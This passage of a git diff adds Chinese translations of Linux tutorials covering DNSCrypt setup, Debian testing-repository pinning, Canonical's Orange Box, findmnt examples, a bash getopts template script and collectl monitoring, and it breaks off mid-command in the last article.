Connections(网络连接)选项然后选择"Edit"并在"DNS servers"输入"127.0.0.1"就好了。如果您用的是DHCP的话,请选择Automatic (DHCP) addresses only", 这样的话才能输入DNS服务器。然后只要重连网络便可。 + +您可以访问这条[链接][5]来测试您连接到了OpenDNS了没。 + +如果您想设置开机启动DNSCrypt,可以自建一个init的脚本,如果您用的是Ubuntu,可以参考下面的。 + +**Arch Linux的用户可以通过[AUR][6]来安装DNSCrypt-proxy** (内含rc.d脚本) + +### Ubuntu下的DNSCrypt ### + +如果您想在Ubuntu设置开机启动,您可以使用这个[Upstart脚本][7]。 + +注: 在Ubuntu 12.04版在127.0.0.1有个本地的DNS cache 服务器(dnsmasq)在跑,所以已经把改脚本改成让DNSCrypt使用127.0.0.2了, 所以按照上面的教程,应该把127.0.0.1换成127.0.0.2了。 + +要安装此脚本请使用以下的指令(要首先解压下下来的压缩文件): + + sudo cp dnscrypt.conf /etc/init/ + sudo ln -s /lib/init/upstart-job /etc/init.d/dnscrypt + +然后用这个指令来启动: + + sudo start dnscrypt + +现在DNSCrypt就应该是开机自启了,如果您想停止的话,可以使用: + + sudo stop dnscrypt + +[下载DNSCrypt][8] (.deb、 .rpm以及源码都可供下载哦!) + +-------------------------------------------------------------------------------- + +via: http://www.webupd8.org/2012/02/encrypt-dns-traffic-in-linux-with.html + +译者:[213edu](https://github.com/213edu) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:https://blog.opendns.com/2012/02/16/tales-from-the-dnscrypt-linux-rising/ +[2]:http://www.opendns.com/technology/dnscrypt/ +[3]:https://github.com/opendns/dnscrypt-proxy +[4]:http://download.dnscrypt.org/dnscrypt-proxy/ +[5]:http://www.opendns.com/welcome +[6]:http://aur.archlinux.org/packages.php?ID=54702 +[7]:http://webupd8.googlecode.com/files/dnscrypt-0.2.tar.gz +[8]:https://github.com/opendns/dnscrypt-proxy/downloads diff --git a/published/201406/20140620 How to enable testing and unstable repository on Debian.md b/published/201406/20140620 How to enable testing and unstable repository on Debian.md new file mode 100644 index 0000000000..e506e95088 --- /dev/null +++ b/published/201406/20140620 How to enable testing and unstable repository on Debian.md @@ -0,0 +1,159 @@ +如何在Debian中启用测试版/不稳定版的软件库 +================================================================================ +为何要启用测试版/不稳定版? + +测试版/不稳定版的Debian给开发者提供了一个比当前稳定版更新的环境以及软件。你们注意到了么?其实这些稳定版啊不稳定版啊神马的都是别名,比方说稳定版其实就是Debian的稳定发行版,而测试版将会是下一个Debian的稳定发行版(当然那是测试后的事了)。截至发稿为止,当前Debian的稳定发行版是Wheezy 7.x,将会成为下一个稳定版的测试版则是Jessie。 + +当你需要一款应用的最新版本的时候,启用测试版/不稳定版将会是不二的选择。当初我因为工作需要,要安装个Apache的 2.4.x到我的Debian Wheezy。测试版需要的是2.4.x的,可是我的软件库里面只有2.2.x的。所以最好的解决方案当时是将测试版下下来啦。 + +通常来说当我们想尝试最新版本的应用时,都应该只在测试版软件库中搜索。 + +在这篇文章里我将教大家如何在不弄坏你系统的前提下设置好测试、不稳定版的Debain系统并在上面安装软件。 + +> Stable < Testing < Unstable (稳定 < 测试版 < 不稳定版) +> Wheezy < Jessie < Sid + +### 1. 设置测试版/不稳定版的apt源 ### + +第一步是把测试版/不稳定版的源加到你的sources.list文件里。在Debian Wheezy系统上,/etc/apt/sources.list理应长得像这样: + + $ cat /etc/apt/sources.list + +---------- + + ... + deb http://security.debian.org/ wheezy/updates main + deb http://http.us.debian.org/debian/ wheezy main + deb-src http://security.debian.org/ wheezy/updates main + ... + +把你repo服务器的链接记下来,比如:http://http.us.debian.org/debian/ + +这个repo服务器将会是离你最近的一个服务器; 在不同的地理位置会有不同的url,这个将会用于下一步。 + +如果想加测试/不稳定源,则需要在sources.list文件加上这些东西: + + # Testing repository - main, contrib and non-free branches + deb http://http.us.debian.org/debian testing main non-free contrib + deb-src http://http.us.debian.org/debian testing main non-free contrib + + + # Testing security updates repository + deb http://security.debian.org/ testing/updates main contrib non-free + deb-src http://security.debian.org/ testing/updates main contrib non-free + + + # Unstable repo main, contrib and non-free branches, no security updates here + deb http://http.us.debian.org/debian unstable main non-free contrib + deb-src http://http.us.debian.org/debian unstable main non-free contrib + +格式将会是 + + deb + (deb <上一步弄的服务器或镜像url> ) + +当然啦,除了用testing或者unstable这么烂的词,也能使用他们的发行版代号,比如Jessie或者Sid + + deb http://http.us.debian.org/debian jessie main non-free contrib + deb http://security.debian.org/ jessie/updates main contrib non-free + deb http://http.us.debian.org/debian sid main non-free contrib + +### 2. 钉住 apt!这非常重要 ### + +> 在加了测试/不稳定的repo之后,当你更新系统的时候所有安装过并且可用的软件就会立马更新,而后你的系统就被你玩火自焚了。 + +所以需要设置一些规则,以便选定的软件包在正常的更新时不会被更新到一个不稳定的测试版本。 + +我们需要使用“钉住APT”的方式来告诉apt系统,除了我们希望使用测试版或不稳定版的特定软件包之外,其它的总是使用稳定版的软件包来更新。 + +可以通过如下两个文件之一来设置如何设置APT的优先级来“钉住”。 + + /etc/apt/preferences + 或 + /etc/apt/preferences.d/my_preferences + +打开这两个文件之一(如果没有的话就创建一个),然后输入如下内容: + + Package: * + Pin: release a=stable + Pin-Priority: 700 + + Package: * + Pin: release a=testing + Pin-Priority: 650 + + Package: * + Pin: release a=unstable + Pin-Priority: 600 + +前面我们提到过,稳定版指的是你当前的debian版本,测试版是下一个,而不稳定版则是更远的将来发行版。上面的设置中最主要的是优先级(Pin-Priority)。当前的稳定版应该有最高的优先级,这就是说,正常的apt-get操作只会从当前的稳定版的软件库(现在是wheezy)里面安装软件。 + +#### 更新包缓存 #### + +在增加了新的软件库和指定了优先规则后,需要更新一下包缓存。 + + $ sudo apt-get update + +#### 确认APT规则 #### + +我们必须确认“钉住”的设置正确,优先级也没问题。使用 apt-cache 的 policy 参数来检查: + + $ apt-cache policy apache2 + apache2: + Installed: (none) + Candidate: 2.2.22-13 + Version table: + 2.4.7-1 0 + 600 http://http.us.debian.org/debian/ unstable/main amd64 Packages + 2.4.6-3 0 + 650 http://http.us.debian.org/debian/ testing/main amd64 Packages + 2.2.22-13 0 + 700 http://http.us.debian.org/debian/ wheezy/main amd64 Packages + +如上的输出,确认在wheezy 稳定版中, 2.2.22 版本的Apache是选定的版本,它有最高的优先级。 + +### 3. 从测试版/不稳定版软件库中安装软件 ### + +现在可以从测试版或不稳定版中选择一个特定的软件来安装它了。假如说我们要从测试版软件源中安装 apache2。 + +有两个不同的方法,并且其结果也有所不同。 + +#### 方式一 #### + + # apt-get install apache2/testing + +上述命令会从测试版软件库中安装 apache2,并从稳定版软件库中安装其依赖包(稳定版通过apt规则确定)。这个命令在某些情况下会失败,比如安装的软件包(apache2)所需的依赖包在稳定版软件库中没有更新到可以支持该软件时。 + +#### 方式二 #### + + # apt-get -t testing install apache2 + +上述命令会从测试版软件库中安装apache2,并从测试版软件库中安装其依赖包。这要比上面的命令工作的更好。 + +所以,要安装较新的软件包,直接从测试版/不稳定版的软件库中安装就行了。注意,优先级号码不只是一个数字而已,还有其特定意义。可以查看 apt_preferences的man页面了解更多: + + $ man 5 apt_preferences + +### 总结 ### + +使用“钉住”方式的测试版/不稳定版的软件库是一个获取较新版本软件包的一个好办法,不过其实并不推荐使用它们。如果弄错了,可能会从也许不兼容的分支上下载软件包,这会把你的系统搞乱。 + +一个更好的方式是,使用向后移植的软件库来安装更新的包。它从测试版和不稳定版的软件库中获取较新版本的软件包,但是为当前的稳定版软件库而编译。所以,对于 debian wheezy来说,你可以使用wheezy-backports 软件库。访问http://backports.debian.org/ 了解更多。 + +### 资源 ### + +- [https://wiki.debian.org/AptPreferences][1] +- [https://wiki.debian.org/DebianTesting][2] +- [https://www.debian.org/security/][3] + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/enable-testing-repo-debian/ + +译者:[213edu](https://github.com/213edu) [wxy](https://github.com/wxy) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://wiki.debian.org/AptPreferences +[2]:http://wiki.debian.org/DebianTesting +[3]:http://www.debian.org/security/ diff --git a/published/201406/20140625 Canonical Debuts 'Orange Box' for Ubuntu OpenStack Cloud Demos.md b/published/201406/20140625 Canonical Debuts 'Orange Box' for Ubuntu OpenStack Cloud Demos.md new file mode 100644 index 0000000000..5a16cec25b --- /dev/null +++ b/published/201406/20140625 Canonical Debuts 'Orange Box' for Ubuntu OpenStack Cloud Demos.md @@ -0,0 +1,42 @@ +Ubuntu的Orange Box首次亮相 +================================================================================ + +> Orange Box现已推出,它是一个便携的服务器集群,Canonical用它来演示和培训基于Ubuntu的OpenStack云。 + +![](http://thevarguy.com/site-files/thevarguy.com/files/imagecache/medium_img/uploads/2014/06/grayscale_7.jpg) + +Canonical刚刚发布的Orange Box是一个便携式服务器集群,该公司用来展示[OpenStack][1],[MAAS][2],[Juju][3]和其它的基于Ubuntu Linux的云服务。 + +下面是它的介绍。 + +对于刚刚接触到它的人来说,重要的是要了解Orange Box不是什么:它不是一台Canonical用来盈利的硬件产品。到目前为止,该公司并无表示计划大规模销售这些设备。如果你真的想[买一款][4]的话,大概价格为$12,900,这个价格来自其合同制造商[TranquilPC Limited][5]。 + +从大的方面来说,Orange Box是一个说服企业在基于Ubuntu的云计算投入资金的工具。Canonical的创始人马克·沙特尔沃思[上个月宣布了][6]Ubuntu OpenStack的战略,这是该战略的一个关键组成部分,更是该公司提供的称作[Jumpstart][7]的OpenStack的培训计划的一部分。 + +作为Jumpstart的一部分,Canonical会将Orange Box借给合作伙伴,以便他们的员工可以在Ubuntu集群上练习配置OpenStack和相关软件。Canonical的工作人员也将在培训期间提供咨询。 + +不过除开培训的目的不谈,Orange Box[看起来真的很酷][8]。它装有10个[英特尔NUC][9],总计集成了160GB的RAM,1200GB的存储空间和10个酷睿i5处理器,这种设备在一个袖珍空间内提供了相当强大的计算能力。 + +![](http://www.intel.com/content/dam/www/public/us/en/images/product/wilson-canyon-nuc-front-angle-with-board.jpg) + +更好的是,Orange Box通过预装软件为启动基于Ubuntu的云技术打下了良好基础。 + +不过,对于Canonical来说,真正的考验是确保企业能够从Orange Box中获益。借出它们不只是为了让合作伙伴们体验一下不错的硬件设备,而是为了通过一个真正令人信服的方式体验Ubuntu的云,以吸引IT决策者选择Ubuntu所建立的下一代云基础设施。 + +-------------------------------------------------------------------------------- + +via: http://thevarguy.com/ubuntu/062314/canonical-debuts-orange-box-ubuntu-openstack-cloud-demos + +译者:[乌龙茶](https://github.com/yechunxiao19) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://openstack.org/ +[2]:https://maas.ubuntu.com/ +[3]:http://juju.ubuntu.com/ +[4]:http://www.tranquilpcshop.co.uk/ubuntu-orange-box/ +[5]:http://www.tranquilpcshop.co.uk/ +[6]:http://thevarguy.com/ubuntu/051614/shuttleworth-highlights-ubuntu-openstack-cloud-innovations +[7]:http://www.ubuntu.com/cloud/tools/jumpstart +[8]:http://arstechnica.com/information-technology/2014/06/hands-on-with-canonicals-orange-box-and-a-peek-into-cloud-nirvana/ +[9]:http://www.intel.com/content/www/us/en/nuc/overview.html diff --git a/published/201406/8 examples of findmnt command to check mounted file systems on Linux.md b/published/201406/8 examples of findmnt command to check mounted file systems on Linux.md new file mode 100644 index 0000000000..5df7ae3052 --- /dev/null +++ b/published/201406/8 examples of findmnt command to check mounted file systems on Linux.md @@ -0,0 +1,148 @@ +findmnt 命令的八个应用实例 +================================================================================ +### 已挂载的文件系统和设备 ### + +linux 中常用的检查已挂载的文件系统的是 mount 命令,不仅用于列出已挂载的设备,而且可以在需要的时候挂载和卸载。另外还有一个叫做 findmnt 的超赞命令,它可以用于快速查看挂载位置和选项。 + +### 安装findmnt ### + +findmnt 命令来自 util-linux 软件包,默认安装在大多数发行版中,如 Ubuntu,Fedora,Debian + + $ aptitude search util-linux + i util-linux - Miscellaneous system utilities + + $ yum info util-linux + +### 使用findmnt ### + +#### 1. 列出文件系统 #### + +无任何选项运行 findmnt,只会以树形结构图的方式列出所有已挂载的文件系统。 + + $ findmnt + +![](http://www.binarytides.com/blog/wp-content/uploads/2014/03/findmnt.png) + +#### 2. 以列表形式输出 #### + +输出可以格式化为一个简单的列表,而不是默认的树形结构,使用l(键盘u和o中间那个,不是数字1)选项使它方便阅读。 + + $ findmnt -l + TARGET SOURCE FSTYPE OPTIONS + /sys sysfs sysfs rw,nosu + /proc proc proc rw,nosu + /dev udev devtmpf rw,rela + /dev/pts devpts devpts rw,nosu + /run tmpfs tmpfs rw,nosu + / /dev/disk/by-uuid/6fa5a72a-ba26-4588-a103-74bb6b33a763 + ext4 rw,rela + /sys/fs/cgroup tmpfs rw,rela + /sys/fs/fuse/connections fusectl rw,rela + /sys/kernel/debug debugfs rw,rela + /sys/kernel/security securit rw,rela + /run/lock tmpfs rw,nosu + /run/shm tmpfs rw,nosu + /run/user tmpfs rw,nosu + /sys/fs/pstore pstore rw,rela + /media/13f35f59-f023-4d98-b06f-9dfaebefd6c1 + /dev/sda8 ext4 rw,nosu + /media/4668484A68483B47 /dev/sda5 fuseblk rw,nosu + /proc/sys/fs/binfmt_misc binfmt_misc binfmt_ rw,nosu + /sys/fs/cgroup/systemd systemd cgroup rw,nosu + /run/user/1000/gvfs gvfsd-fuse fuse.gv rw,nosu + +#### 3. df格式输出 #### + +Findmnt 可以用“-D”或“-df”选项创建一个 df 格式的输出报告空闲和已用磁盘空间。 + + $ findmnt -D + SOURCE FSTYPE SIZE USED AVAIL USE% TARGET + devtmpfs devtmpfs 994.2M 0 994.2M 0% /dev + selinuxfs selinuxfs 0 0 0 - /sys/fs/selinux + tmpfs tmpfs 1001.5M 68K 1001.4M 0% /dev/shm + tmpfs tmpfs 1001.5M 724K 1000.8M 0% /run + tmpfs tmpfs 1001.5M 0 1001.5M 0% /sys/fs/cgroup + /dev/mapper/fedora-root ext4 6.5G 5.3G 811.6M 82% / + tmpfs tmpfs 1001.5M 60K 1001.5M 0% /tmp + /dev/sda1 ext4 476.2M 107.7M 339.6M 23% /boot + +需要注意的是,以上选项 util-linux2.20 之前的版本都不可用,它正好是 Ubuntu13.10 上的最新版本 + +#### 4. 从fstab读取文件系统 #### + +使用“-s”或“-fstab”选项,findmnt 将只从/etc/fstab文件和/etc/fstab.d目录读取文件系统。 + + $ findmnt -s + TARGET SOURCE FSTYPE OPTIONS + / /dev/mapper/fedora-root ext4 defaults + /boot UUID=18cde604-1c65-4ec8-8a8d-385df50ada3b ext4 defaults + swap /dev/mapper/fedora-swap swap defaults + +#### 5. 通过类型过滤文件系统 #### + +Findmnt 可以打印出只基于类型的特定的文件系统,例如 ext4,多个系统类型可以指定一个逗号分隔。 + + $ findmnt -t ext4 + TARGET SOURCE FSTYPE OPTIONS + / /dev/mapper/fedora-root ext4 rw,relatime,seclabel,data=ordered + └─/boot /dev/sda1 ext4 rw,relatime,seclabel,data=ordered + +#### 6. 原始输出 #### + +如果你喜欢原始风格的输出,那么使用“-r”或“--raw”选项。 + + $ findmnt --raw + TARGET SOURCE FSTYPE OPTIONS + /sys sysfs sysfs rw,nosuid,nodev,noexec,relatime + /proc proc proc rw,nosuid,nodev,noexec,relatime + /dev udev devtmpfs rw,relatime,size=4069060k,nr_inodes=1017265,mode=755 + /dev/pts devpts devpts rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000 + /run tmpfs tmpfs rw,nosuid,noexec,relatime,size=816716k,mode=755 + / /dev/disk/by-uuid/6fa5a72a-ba26-4588-a103-74bb6b33a763 ext4 rw,relatime,errors=remount-ro,data=ordered + /sys/fs/cgroup tmpfs rw,relatime,size=4k,mode=755 + /sys/fs/fuse/connections fusectl rw,relatime + /sys/kernel/debug debugfs rw,relatime + /sys/kernel/security securityfs rw,relatime + /run/lock tmpfs rw,nosuid,nodev,noexec,relatime,size=5120k + /run/shm tmpfs rw,nosuid,nodev,relatime + /run/user tmpfs rw,nosuid,nodev,noexec,relatime,size=102400k,mode=755 + /sys/fs/pstore pstore rw,relatime + /media/13f35f59-f023-4d98-b06f-9dfaebefd6c1 /dev/sda8 ext4 rw,nosuid,nodev,relatime,errors=remount-ro,data=ordered + /media/4668484A68483B47 /dev/sda5 fuseblk rw,nosuid,nodev,relatime,user_id=0,group_id=0,allow_other,blksize=4096 + /proc/sys/fs/binfmt_misc binfmt_misc binfmt_misc rw,nosuid,nodev,noexec,relatime + /sys/fs/cgroup/systemd systemd cgroup rw,nosuid,nodev,noexec,relatime,name=systemd + /run/user/1000/gvfs gvfsd-fuse fuse.gvfsd-fuse rw,nosuid,nodev,relatime,user_id=1000,group_id=1000 + +看起来非常整洁(译注,亲爱的读者你也这样觉得么?)。 + +#### 7. 通过源设备查找 #### + +通过源设备查找文件系统,指定设备路径包括/不包括“-S”选项。 + + $ findmnt -S /dev/sda1 + TARGET SOURCE FSTYPE OPTIONS + /boot /dev/sda1 ext4 rw,relatime,seclabel,data=ordered + +#### 8. 通过挂载点查找 #### + +通过挂载目录查找文件系统,指定目录包括/不包括“-T /--target”选项。 + + $ findmnt -T / + TARGET SOURCE FSTYPE OPTIONS + / /dev/mapper/fedora-root ext4 rw,relatime,seclabel,data=ordered + + $ findmnt -T /media/4668484A68483B47 + TARGET SOURCE FSTYPE OPTIONS + /media/4668484A68483B47 /dev/sda5 fuseblk rw,nosuid,nodev,relatime,user_id=0 + +### 总结 ### + +这是一个 findmnt 命令的简要介绍。关于 findmnt 的更多选项可以在 man 手册页中找到。 + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/linux-findmnt-command/ + +译者:[Vito](https://github.com/vito-L) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201406/Bash Getopts--Scripts with Command Line Options.md b/published/201406/Bash Getopts--Scripts with Command Line Options.md new file mode 100644 index 0000000000..1d4e812272 --- /dev/null +++ b/published/201406/Bash Getopts--Scripts with Command Line Options.md @@ -0,0 +1,157 @@ +Bash Getopts - 让你的脚本支持命令行参数 +================================================================================ + +以前我总想知道如何为我的Bash脚本创建命令行参数。经过搜索,我发现了2个函数可以处理这个问题,**getopt** 函数和 **getopts** 函数。我无意争论哪一个函数更好的。**getopts** 是一个shell内建命令,而且似乎比 **getopt** 更容易实现这个功能,所以在这篇文章里我准备讲讲getopts。 + +### bash getopts ### + +开始的时候,我只试着处理传递给脚本的命令行参数。最后,我添加了另外一些有用的功能函数,使得这个脚本可以成为其他任何交互式脚本处理命令行的开始模板。我还添加了一个纯文本格式的帮助函数,让脚本更加容易阅读。 + +与其来一长段文字解释 **getopts** 在bash中是如何工作的,我认为不如直接来一个能工作的脚本更让人觉得轻松一些。 + + #!/bin/bash + + ###################################################################### + #This is an example of using getopts in Bash. It also contains some + #other bits of code I find useful. + #Author: Linerd + #Website: http://tuxtweaks.com/ + #Copyright 2014 + #License: Creative Commons Attribution-ShareAlike 4.0 + #http://creativecommons.org/licenses/by-sa/4.0/legalcode + ###################################################################### + + #Set Script Name variable + SCRIPT=`basename ${BASH_SOURCE[0]}` + + #Initialize variables to default values. + OPT_A=A + OPT_B=B + OPT_C=C + OPT_D=D + + #Set fonts for Help.[译注: 这里tput用来更改终端文本属性,比如加粗,高亮等] + NORM=`tput sgr0` + BOLD=`tput bold` + REV=`tput smso` + + #Help function + function HELP { + echo -e \\n"Help documentation for ${BOLD}${SCRIPT}.${NORM}"\\n + echo -e "${REV}Basic usage:${NORM} ${BOLD}$SCRIPT file.ext${NORM}"\\n + echo "Command line switches are optional. The following switches are recognized." + echo "${REV}-a${NORM} --Sets the value for option ${BOLD}a${NORM}. Default is ${BOLD}A${NORM}." + echo "${REV}-b${NORM} --Sets the value for option ${BOLD}b${NORM}. Default is ${BOLD}B${NORM}." + echo "${REV}-c${NORM} --Sets the value for option ${BOLD}c${NORM}. Default is ${BOLD}C${NORM}." + echo "${REV}-d${NORM} --Sets the value for option ${BOLD}d${NORM}. Default is ${BOLD}D${NORM}." + echo -e "${REV}-h${NORM} --Displays this help message. No further functions are performed."\\n + echo -e "Example: ${BOLD}$SCRIPT -a foo -b man -c chu -d bar file.ext${NORM}"\\n + exit 1 + } + + #Check the number of arguments. If none are passed, print help and exit. + NUMARGS=$# + echo -e \\n"Number of arguments: $NUMARGS" + if [ $NUMARGS -eq 0 ]; then + HELP + fi + + ### Start getopts code ### + + #Parse command line flags + #如果选项需要后跟参数,在选项后面加":" + #注意"-h"选项后面没有":",因为他不需要参数。选项字符串最开始的":"是用来去掉来自getopts本身的报错的,同时获取不能识别的选项。(译注:如果选项字符串不以":"开头,发生错误(非法的选项或者缺少参数)时,getopts会向错误输出打印错误信息;如果以":"开头,则不会打印[在man中叫slient error reporting],同时将出错的选项赋给OPTARG变量) + + while getopts :a:b:c:d:h FLAG; do + case $FLAG in + a) #set option "a" + OPT_A=$OPTARG + echo "-a used: $OPTARG" + echo "OPT_A = $OPT_A" + ;; + b) #set option "b" + OPT_B=$OPTARG + echo "-b used: $OPTARG" + echo "OPT_B = $OPT_B" + ;; + c) #set option "c" + OPT_C=$OPTARG + echo "-c used: $OPTARG" + echo "OPT_C = $OPT_C" + ;; + d) #set option "d" + OPT_D=$OPTARG + echo "-d used: $OPTARG" + echo "OPT_D = $OPT_D" + ;; + h) #show help + HELP + ;; + \?) #unrecognized option - show help + echo -e \\n"Option -${BOLD}$OPTARG${NORM} not allowed." + HELP + #在这里如果你不想打印完整的帮助信息,只想显示简单的错误信息,去掉上面的两行,同时使用下面的两行。 + #echo -e "Use ${BOLD}$SCRIPT -h${NORM} to see the help documentation."\\n + #exit 2 + ;; + esac + done + + shift $((OPTIND-1)) #This tells getopts to move on to the next argument. + + ### End getopts code ### + + + ### Main loop to process files ### + + #这里你可以用你的脚本处理逻辑来替代。这个例子只是在终端中打印文件的文件名和后缀名。你可以把任意其他的文件处理任务放到这个while-do循环中。 + + while [ $# -ne 0 ]; do + FILE=$1 + TEMPFILE=`basename $FILE` + #TEMPFILE="${FILE##*/}" #另外一种获取不带后缀的文件名的方法。 + FILE_BASE=`echo "${TEMPFILE%.*}"` #file without extension + FILE_EXT="${TEMPFILE##*.}" #file extension + + + echo -e \\n"Input file is: $FILE" + echo "File withouth extension is: $FILE_BASE" + echo -e "File extension is: $FILE_EXT"\\n + shift #Move on to next input file. + done + + ### End main loop ### + + exit 0 + +将上面的代码复制到你的文本编辑器里,然后保存到你的可执行路径下。我将这个脚本命名为 **options** 并保存到 **/home/linerd/bin** 路径下。保存之后记得给你的脚本添加可执行权限。 + + chmod +x ~/bin/options + +现在脚本已经可以运行了。试试用 **-h** 参数来打印帮助信息吧。 + + options -h + +遇到不支持的选项,脚本同样可以给出提示,并打印帮助信息。 + + options -z + +最后,getopts可以以任意的顺序处理你给的命令行参数。唯一的限制是你要处理的文件必须放在所有参数的最后。 + + options -d bar -c chu -b man -a foo example1.txt example2.txt + +现在你可以从这些例子里看到如何通过命令行参数给脚本里的变量赋值。这个脚本里除了getopts还有很多其他的东西,但是我认为这些就足以成为一个新脚本的开头模板了。如果你有兴趣更深入地学习bash的getopts,你可以找找深埋在man page的“Builtins”这一节里的文档,也可以从 [Bash Reference Manual][1] 找到信息。 + +### 接下来呢? ### + +你会用getops来干什么呢?在评论里告诉我吧。 + +-------------------------------------------------------------------------------- + +via: http://tuxtweaks.com/2014/05/bash-getopts/ + +译者: CNprober \ 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://tuxtweaks.com/2014/05/bash-getopts/www.gnu.org/software/bash/manual/html_node/Bourne-Shell-Builtins.html diff --git a/published/201406/Collectl--An Advanced All-in-One Performance Monitoring Tool for Linux.md b/published/201406/Collectl--An Advanced All-in-One Performance Monitoring Tool for Linux.md new file mode 100644 index 0000000000..88615017b6 --- /dev/null +++ b/published/201406/Collectl--An Advanced All-in-One Performance Monitoring Tool for Linux.md @@ -0,0 +1,348 @@ +Collectl: Linux 性能监控的全能冠军 +================================================================================ + +对于一个 Linux 系统管理员来说确保自己管理的系统处于一个良好的状态是其首要责任。Linux 系统管理员可以找到有很多工具来帮助自己监控和显示系统中的进程,例如 top 和 htop ,但是这些工具都不能与 **collectl** 相媲美。 + +![Collectl: Linux Performance Monitoring](http://www.tecmint.com/wp-content/uploads/2014/04/Collectl-Linux-Monitoring.jpg) + + +**collectl**是一款非常优秀并且有着丰富的命令行功能的实用程序,你可以用它来采集描述当前系统状态的性能数据。不同于大多数其它的系统监控工具,collectl 并非仅局限于有限的系统度量,相反,它可以收集许多不同类型系统资源的相关信息,如 cpu 、disk、memory 、network 、sockets 、 tcp 、inodes 、infiniband 、 lustre 、memory、nfs、processes、quadrics、slabs和buddyinfo等。 + +使用 **collectl** 的另一个好处就是它可以替代那些特定用途的工具如: top、ps、iotop 等等其它工具。那么 **collectl** 有什么特性而使其成为一个有用的工具呢? + +经过许多研究后,我总结了 collectl 的命令行功能的一些非常重要的特性。 + +### Collectl 特性 ### + +- 可以交互式地运行或作为一个守护进程,或同时二者兼备地运行。 + +- 可以以多种格式显示输出。 + +- 可以监控几乎所有的子系统。 + +- 可以替代许多工具如 ps、top、iotop、vmstat。 + +- 可以记录并回放捕获的数据。 + +- 可以将数据导出成多种数据格式。(这在你想用外部工具分析数据时非常有用) + +- 可以作为一个服务来监控远程机或者整个服务器集群。 + +- 可以在终端显示数据,写入数据到文件或者一个套接字。 + +### 如何在Linux上安装collectl### + +**collectl**可以在所有的 Linux 发行版上运行,唯一需要的就是 perl 语言,所以在安装 **collectl** 之前,一定要确保你的电脑上已经安装了**Perl**。 + +#### 对于Debian/Ubuntu/Linux Mint #### + +下面的命令可以用来在以 Debian 为基础的设备如 Ubuntu 上安装 collectl。 + + $ sudo apt-get install collectl + +#### 对于RHEL/CentOS/Fedora #### + +如果你正在使用基于红帽的发行版,你可以用 yum 命令轻松获取它。 + + # yum install collectl + +### 一些关于collectl的实例 ### + +collectl 工具安装完成之后,你可以轻松地在终端运行它,你甚至不需要指定任何选项。下面的命令将会以简短易读的格式显示cpu、硬盘和网络信息。 + + # collectl + + waiting for 1 second sample... + # + #cpu sys inter ctxsw KBRead Reads KBWrit Writes KBIn PktIn KBOut PktOut + 13 5 790 1322 0 0 92 7 4 13 0 5 + 10 2 719 1186 0 0 0 0 3 9 0 4 + 12 0 753 1188 0 0 52 3 2 5 0 6 + 13 2 733 1063 0 0 0 0 1 1 0 1 + 25 2 834 1375 0 0 0 0 1 1 0 1 + 28 2 870 1424 0 0 36 7 1 1 0 1 + 19 3 949 2271 0 0 44 3 1 1 0 1 + 17 2 809 1384 0 0 0 0 1 6 0 6 + 16 2 732 1348 0 0 0 0 1 1 0 1 + 22 4 993 1615 0 0 56 3 1 2 0 3 + + +正如上面终端上所显示的,我们很容易观察该命令输出的系统度量值,因为它每次以一行显示。 + +不加任何参数执行 collectl 会显示下面子系统的信息 + +- cpu +- 磁盘 +- 网络 + +**提示**:在这里,一个子系统就是每一种可以测量的系统资源。 + +你也可以显示除slabs以外各个子系统的统计数据,这要结合下面的 **-all** 选项来实现。 + + + # collectl --all + + waiting for 1 second sample... + # + #cpu sys inter ctxsw Cpu0 Cpu1 Free Buff Cach Inac Slab Map Fragments KBRead Reads KBWrit Writes KBIn PktIn KBOut PktOut IP Tcp Udp Icmp Tcp Udp Raw Frag Handle Inodes Reads Writes Meta Comm + 16 3 817 1542 430 390 1G 175M 1G 683M 193M 1G nsslkjjebbk 0 0 24 3 1 1 0 1 0 0 0 0 623 0 0 0 8160 240829 0 0 0 0 + 11 1 745 1324 316 426 1G 175M 1G 683M 193M 1G nsslkjjebbk 0 0 0 0 0 3 0 2 0 0 0 0 622 0 0 0 8160 240828 0 0 0 0 + 15 2 793 1683 371 424 1G 175M 1G 683M 193M 1G ssslkjjebbk 0 0 0 0 1 1 0 1 0 0 0 0 622 0 0 0 8160 240829 0 0 0 0 + 16 2 872 1875 427 446 1G 175M 1G 683M 193M 1G ssslkjjebbk 0 0 24 3 1 1 0 1 0 0 0 0 622 0 0 0 8160 240828 0 0 0 0 + 24 2 842 1383 473 368 1G 175M 1G 683M 193M 1G ssslkjjebbk 0 0 168 6 1 1 0 1 0 0 0 0 622 0 0 0 8160 240828 0 0 0 0 + 27 3 844 1099 478 365 1G 175M 1G 683M 193M 1G nsslkjjebbk 0 0 0 0 1 6 1 9 0 0 0 0 622 0 0 0 8160 240828 0 0 0 0 + 26 5 823 1238 396 428 1G 175M 1G 683M 193M 1G ssslkjjebbk 0 0 0 0 2 11 3 9 0 0 0 0 622 0 0 0 8160 240828 0 0 0 0 + 15 1 753 1276 361 391 1G 175M 1G 683M 193M 1G ssslkjjebbk 0 0 40 3 1 2 0 3 0 0 0 0 623 0 0 0 8160 240829 0 0 0 0 + + +但是,你如何用它来监控 cpu 的使用情况呢? ‘-s’ 选项可以用来控制哪个子系统的数据需要收集和回放。 + +例如下面的命令可以用来对cpu使用情况进行一个总结。 + + # collectl -sc + + waiting for 1 second sample... + # + #cpu sys inter ctxsw + 15 2 749 1155 + 16 3 772 1445 + 14 2 793 1247 + 27 4 887 1292 + 24 1 796 1258 + 16 1 743 1113 + 15 1 743 1179 + 14 1 706 1078 + 15 1 764 1268 + +当你将这个命令与“**scdn**”结合时会发生什么呢?学习命令行工具最好的方式就是多加练习,所以在终端运行下面的命令看看会发生什么吧。 + + # collectl 